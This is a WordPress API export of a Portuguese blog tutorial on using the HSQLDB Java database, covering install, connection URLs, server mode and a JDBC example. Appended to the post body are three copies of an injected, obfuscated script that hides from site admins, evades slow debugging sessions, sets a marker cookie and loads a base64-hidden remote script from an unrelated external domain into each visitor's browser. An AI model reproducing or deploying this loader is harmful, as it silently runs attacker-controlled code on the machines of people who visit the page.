{"id":536,"date":"2010-10-02T22:24:23","date_gmt":"2010-10-03T01:24:23","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=536"},"modified":"2025-10-26T22:43:04","modified_gmt":"2025-10-27T01:43:04","slug":"utilizando-hsqldb-em-suas-aplicacoes","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/02\/utilizando-hsqldb-em-suas-aplicacoes\/","title":{"rendered":"Utilizando HSQLDB em suas aplica\u00e7\u00f5es"},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"HSQLDB\" href=\"http:\/\/hsqldb.org\/\" target=\"_blank\" rel=\"noopener\">HSQLDB<\/a> ou HyperSQL \u00e9 um gerenciador de base de dados relacional open source escrito inteiramente em Java. \u00c9 simples, possui poucos recursos, mas \u00e9 bastante eficiente. Esse gerenciador \u00e9 utilizado no <a title=\"OpenOffice\" href=\"http:\/\/www.openoffice.org\/\" target=\"_blank\" rel=\"noopener\">OpenOffice<\/a>, ocupa pouco espa\u00e7o em disco e pode ser embutido em uma aplica\u00e7\u00e3o Java sem a necessidade de instala\u00e7\u00e3o. \u00c9 recomendado para aplica\u00e7\u00f5es desktop que n\u00e3o compartilham servidores de banco de dados, para demonstra\u00e7\u00f5es, testes unit\u00e1rios ou em situa\u00e7\u00f5es em que o uso de um banco simples e pequeno se faz necess\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">Para instalar, basta acessar o site: <a title=\"Download\" href=\"http:\/\/sourceforge.net\/projects\/hsqldb\/files\/\" target=\"_blank\" rel=\"noopener\">http:\/\/sourceforge.net\/projects\/hsqldb\/files\/<\/a>, fazer o download do arquivo e descompact\u00e1-lo em uma pasta. Para executar a ferramenta de acesso \u00e0 base de dados, \u00e9 s\u00f3 acessar a pasta lib do projeto e executar o seguinte comando:<\/p>\n<p style=\"text-align: justify;\">[cc lang=\"bash\"]java -cp hsqldb.jar org.hsqldb.util.DatabaseManagerSwing[\/cc]<\/p>\n<p style=\"text-align: justify;\">Ir\u00e1 abrir um gerenciador gr\u00e1fico simples.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_541\" aria-describedby=\"caption-attachment-541\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-HSQL-Database-Manager.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-541 \" title=\"HSQL Database Manager\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-HSQL-Database-Manager-300x270.png\" alt=\"HSQL Database Manager\" width=\"300\" height=\"270\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-HSQL-Database-Manager-300x270.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-HSQL-Database-Manager.png 588w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-541\" class=\"wp-caption-text\">HSQL Database Manager<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Existem tr\u00eas tipos de bancos associados ao HSQLDB:<\/p>\n<ul style=\"text-align: justify;\">\n<li>mem: dados inteiramente em mem\u00f3ria. Terminou a aplica\u00e7\u00e3o os dados s\u00e3o perdidos.<\/li>\n<li>file: armazenados em arquivos<\/li>\n<li>res: armazenados em recursos dentro de um JAR, por exemplo. S\u00e3o somente leitura.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">O nome do driver \u00e9 org.hsqldb.jdbc.JDBCDriver, o usu\u00e1rio padr\u00e3o \u00e9 SA, sem senha e a string de conex\u00e3o depende do tipo de banco a ser criado. A URL de conex\u00e3o para bancos em mem\u00f3ria e do tipo: <em>jdbc:hsqldb:mem:nomeDoSeuBanco<\/em>. Para bancos em arquivos voc\u00ea pode utilizar caminho relativo da aplica\u00e7\u00e3o: <em>jdbc:hsqldb:file:nomeDoSeuBanco. <\/em>Desssa forma o diret\u00f3rio com os arquivos ficar\u00e1 localizado a partir do caminho que voc\u00ea executou a aplica\u00e7\u00e3o. Para caminhos absolutos pode-se utilizar a seguinte URL, por exemplo: <em>jdbc:hsqldb:file:\/home\/thiago\/bancoTeste<\/em>, onde \/home\/thiago\/bancoTeste \u00e9 a localiza\u00e7\u00e3o do seu banco de dados. O mais interessante \u00e9 que essa URL \u00e9 independente de sistema operacional, no windows por exemplo, esse banco estaria localizado na pasta C:\\home\\thiago\\bancoTeste\\. Para a op\u00e7\u00e3o de recursos dentro de JARs, a URL de conex\u00e3o \u00e9: <em>jdbc:hsqldb:res:org.seu.pacote.nomeDoSeuBanco<\/em>. Nessa op\u00e7\u00e3o o banco \u00e9 de somente leitura.<\/p>\n<p style=\"text-align: justify;\">Existe tamb\u00e9m a op\u00e7\u00e3o de rodar o HSQLDB como um servidor. Para subir o servidor \u00e9 necess\u00e1rio executar o seguinte comando a partir da pasta lib do HSQLDB:<\/p>\n<p style=\"text-align: justify;\">[cc lang=\"bash\"]java -cp hsqldb.jar org.hsqldb.server.Server --database.0 file:nomeArquivoDoSeuBanco --dbname.0 nomeDoSeuBanco[\/cc]<\/p>\n<p style=\"text-align: justify;\">Nesse caso a string de conex\u00e3o \u00e9: <em>jdbc:hsqldb:hsql:\/\/localhost\/nomeDoSeuBanco<\/em>.<\/p>\n<p style=\"text-align: justify;\">Abaixo temos o exemplo de uma conex\u00e3o JDBC com o HSQLDB:<\/p>\n<p>[cc lang=\"java\"]<br \/>\n  try {<br \/>\n      Class.forName(\"org.hsqldb.jdbc.JDBCDriver\" );<br \/>\n  } catch (Exception e) {<br \/>\n      System.err.println(\"ERRO: falha ao carregar o driver JDBC do HSQLDB!\");<br \/>\n      e.printStackTrace();<br \/>\n      return;<br \/>\n  }<\/p>\n<p>  Connection c = DriverManager.getConnection(\"jdbc:hsqldb:file:nomeDoSeuBanco\", \"SA\", \"\");<br \/>\n[\/cc]<\/p>\n<p style=\"text-align: justify;\">Para utilizar o HSQL com <a title=\"JSR 317\" href=\"http:\/\/jcp.org\/en\/jsr\/detail?id=317\" target=\"_blank\" rel=\"noopener\">JPA<\/a> \u00e9 s\u00f3 especificar a a URL de conex\u00e3o e, caso seja Hibernate, utilizar o dialeto: org.hibernate.dialect.HSQLDialect. E lembre-se de adicionar o hsqldb.jar no classpath da sua aplica\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O HSQLDB ou HyperSQL \u00e9 um gerenciador de base de dados relacional open source escrito inteiramente em Java. \u00c9 simples, possui poucos recursos, mas \u00e9 bastante eficiente. Esse gerenciador \u00e9 utilizado no OpenOffice, ocupa pouco espa\u00e7o em disco e pode <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/02\/utilizando-hsqldb-em-suas-aplicacoes\/\">Continue lendo  <span class=\"screen-reader-text\">  Utilizando HSQLDB em suas aplica\u00e7\u00f5es<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,3],"tags":[],"class_list":["post-536","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/536","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=536"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/536\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=536"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}